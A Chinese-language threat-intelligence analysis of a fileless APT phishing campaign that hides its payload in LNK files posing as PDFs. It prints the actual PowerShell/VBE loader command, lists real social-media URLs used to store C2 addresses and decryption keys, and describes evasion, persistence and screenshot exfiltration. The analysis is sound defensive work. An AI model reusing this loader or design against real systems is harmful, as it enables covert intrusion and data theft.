近日，腾讯御见威胁情报中心在日常的恶意文件运营中，发现了几个可疑的钓鱼lnk（伪装成快捷方式文件的攻击程序）。经过分析发现，这些lnk构造巧妙，全程无PE文件落地（Fileless攻击），并且把解密key和C2存放在了twitter、youtube等社交站点上。
从关联到的样本来看，攻击针对英国、瑞士等欧洲国家，攻击目标为外贸、金融相关企业。暂时还不详具体的攻击者背景，望安全社区同仁一起来完善攻击的拼图。
该APT组织攻击手法的一些特点：
1.诱饵文件为压缩包中伪装成PDF文档的LNK文件（LNK默认是快捷方式，恶意程序执行后会打开一个欺骗性的PDF文件，这个组合极有欺骗性）；
2.攻击过程中，全程无PE文件落地，巧妙避开安全软件的常规检测；
3.攻击程序会判断电脑是否安装网络嗅探工具（wireshark和Nmap，通常为安全研究人员用于网络抓包分析），如果有，就不执行木马核心功能；
4.通过youtube、twitter、Google、wordpress.com的公共空间更新C2，存放解密代码；
5.收集目标计算机名、杀毒软件信息、系统安全时间、系统版本等情报，定时截屏上传；
6.检测是否存在虚拟机等特殊软件。
二、技术分析 1.攻击诱饵本次攻击的诱饵是一个zip压缩包，名字为：Dubai_Lawyers_update_2018.zip，压缩报里包含2个lnk文件：
而lnk为攻击者精心构造的恶意lnk，点击运行lnk后，会触发执行包含的恶意代码：
其中，压缩包里的两个lnk的内容类似，我们以其中一个为例进行详细分析。 2.lnk分析
运行lnk后，执行的恶意代码如下：
Cmd.exe "/c powershell -c "$m='A_Dhabi.pdf.lnk';$t=[environment]::getenvironmentvariable('tmp');cp$m $t\$m;$z=$t+'\'+@(gci -name $t $m -rec)[0];$a=gc $z|out-string;$q=$a[($a.length-2340)..$a.length];[io.file]::WriteAllbytes($t+'\.vbe',$q);CsCrIpT$t'\.vbe'"该命令的主要功能为：
1）将dubai.pdf.lnk文件复制到”%temp%”目录；
2）将lnk文件结尾处往回2340字节的内容，写入“%temp%\.vbe“文件中；
3）利用cscript.exe将vbe给执行起来。
写入的.vbe文件为使用Encoded加密的脚本文件：
解密后内容如下：
3.Vbe脚本分析
先将lnk文件从文件头开始，偏移为2334，大小为136848字节的内容写入“A_Dhabi.pdf”，该文件保存在temp目录，而该文件确实为一个pdf文件。接着打开该pdf文件，让受害者误以为只是简单得打开了一个正常的pdf文件而已：
打开的pdf文件如下：
接着将lnk文件中pdf文件之后的338459字节的内容，写入“%temp%\~.tmpF292.ps1”文件中，该文件为powershell脚本：
最后将接下来的读取位置写入”%temp%\~.tmpF293”文件中，并利用powershell将“~.tmpF292.ps1”文件给执行起来：
4.~.tmpF292.ps1分析
原始的ps1脚本是经过加密后的脚本：
经过解密后，发现两个特殊的明文字符串： “Lorem Ipsum is simply dummy text of the printing and typesettingindustry. Lorem Ipsum has been the industrys standard dummy text ever since the1500s” 和“when an unknown printer took a galley of typeand scrambled it to make a type specimen book. It has survived not only fivecenturies but also the leap into electronic typesetting remaining essentiallyunchanged.”
这两个字符串没有参与加密代码的计算，基本上没有任何意义。
而使用搜索引擎搜索该字符后发现，该字符串是为了排版测试的：
加密的代码经过解密，代码逻辑就十分清晰了：
其中， $code = @”到”@部分为powershell里调用的c#方法，后面为powershell脚本命令。
该powershell脚本的主要功能为：
1）使用WMI，检测安全软件，包括AVG、AVAST，若存在，则删除中间文件，然后退出；
2）判断是否有wireshark和Nmap，若存在，则不执行木马核心功能；
3）从~.tmpF293”文件中获取文件偏移，然后从lnk文件中读取信息，然后存入“%temp%\ ~.tmpF291”目录中，涉及到的文件名有~.tmpF222.tmp、~.tmpF295.ico、~.tmpF299.vbe；
4）继续会从lnk中读取第二阶段的payload，并利用网上获取到的key对payload进行解密并执行。若网络不通未拿到key，就将第二阶段的payload以加密状态存储在“%temp%\ ~.tmp.e”文件中；
5）如果“%temp%\ ~.tmp.e”文件存在，会利用从网络上获取的key去解密此文件，得到第二阶段的payload文件“~.tmpF294.ps1”，并执行此文件。
6）获取解密key的url，存储在tmpF222.tmp文件中：
获取到url如下：
https://youtu.be/40rHiF75z5o
https://brady4th.wordpress.com/2018/11/15/opener/
https://twitter.com/Fancy65716779
https://plus.google.com/u/0/collection/U84ZPF
然后，从这些url中获取相应的解密代码，其中：
“Yobro i sing”字符串开始的位置为stage2 payload的c2；
“My keyboard doesnt work”开始的字符串为解密key：
从文章的发表时间，我们猜测，真正的攻击开始时间发生在11月15日和11月18日。
7）持久性攻击：在startup目录创建快捷方式，快捷方式会cscript.exe将“~.tmpF291“目录 中的” ~.tmpF299.vbe“文件给执行起来，快捷方式图标为” ~.tmpF295.ico“
“~.tmpF299.vbe”解密后内容如下：
5.Stage2（~.tmpF294.ps1）分析
~.tmpF294.ps1为stage2的脚本文件，同样经过了加密，解密后可以发现与真正的c2通信等功能都在此ps脚本中。
1）使用WMI命令收集相关计算机信息，然后以json格式发送给C2：
收集的内容包括计算机名、机器名、杀软信息、系统安装时间、系统版本等。格式中还包含“ace”、“dama”、“king”、“joker”等字样。
2）检测虚拟机等特殊软件：
3）检测wireshark、winpcap、Nmap等特定软件是否安装：
4）从twitter、youtube、google、wordpress等网站更新C2：
5）定时截屏并发送：
6）执行C2下发的powershell脚本：
7）隐藏“%temp%\~.tmpF291”目录，特殊的存储路径“AA36ED3F6A22”为ip存储路径、“E4DAFF315DFA”域名存储路径、“~.tmpF297.tmp”为c2下发的序列号存储路径。
8）根据服务器指定修改定时截屏时的画面质量及频率：
三、 关联分析 1.样本拓线：
经过C2的反查，我们又查到找其余几个相同的样本：
Confirm.pdf.lnk，d83f933b2a6c307e17438749eda29f02 Gift-18.pdf.lnk，6f965640bc609f9c5b7fea181a2a83ca
而这两个lnk同样来自于一个zip压缩包：Gift-18.zip
经分析，这两个lnk跟分析的lnk为同一个攻击。而压缩包中还包含了一张图片：
